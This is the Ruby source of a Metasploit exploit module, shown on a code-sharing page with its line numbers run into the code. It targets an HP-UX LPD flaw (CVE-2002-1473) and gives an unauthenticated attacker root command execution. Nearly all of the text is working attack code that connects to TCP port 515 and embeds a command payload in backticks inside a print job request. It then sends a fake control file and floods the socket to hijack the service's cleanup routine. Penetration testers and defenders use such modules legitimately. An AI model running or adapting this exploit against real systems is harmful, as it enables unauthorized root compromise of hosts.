Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/hpux/lpd/cleanup_exec.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(update_info(info,12'Name' => 'HP-UX LPD Command Execution',13'Description' => %q{14This exploit abuses an unpublished vulnerability in the15HP-UX LPD service. This flaw allows an unauthenticated16attacker to execute arbitrary commands with the privileges17of the root user. The LPD service is only exploitable when18the address of the attacking system can be resolved by the19target. This vulnerability was silently patched with the20buffer overflow flaws addressed in HP Security Bulletin21HPSBUX0208-213.22},23'Author' => [ 'hdm' ],24'References' =>25[26[ 'CVE', '2002-1473'],27[ 'OSVDB', '9638'],28[ 'URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html'],2930],31'Platform' => %w{ hpux unix },32'Arch' => ARCH_CMD,33'Payload' =>34{35'Space' => 200,36'DisableNops' => true,37'BadChars' => "\x00\x09\x20\x2f",38'Compat' =>39{40'PayloadType' => 'cmd',41'RequiredCmd' => 'generic perl telnet',42}43},44'Targets' =>45[46[ 'Automatic Target', { }]47],48'DefaultTarget' => 0,49'DisclosureDate' => '2002-08-28'50))5152register_options(53[54Opt::RPORT(515)55])56end5758def exploit5960# The job ID is squashed down to three decimal digits61jid = ($$ % 1000).to_s + [Time.now.to_i].pack('N').unpack('H*')[0]6263# Connect to the LPD service64connect6566print_status("Sending our job request with embedded command string...")67# Send the job request with the encoded command68sock.put(69"\x02" + rand_text_alphanumeric(3) + jid +70"`" + payload.encoded + "`\n"71)7273res = sock.get_once(1)74if !(res and res[0,1] == "\x00")75print_status("The target did not accept our job request")76return77end7879print_status("Sending our fake control file...")80sock.put("\x02 32 cfA" + rand_text_alphanumeric(8) + "\n")81res = sock.get_once(1)82if !(res and res[0,1] == "\x00")83print_status("The target did not accept our control file")84return85end8687print_status("Forcing an error and hijacking the cleanup routine...")8889begin90sock.put(rand_text_alphanumeric(16384))91disconnect92rescue93end9495end96end979899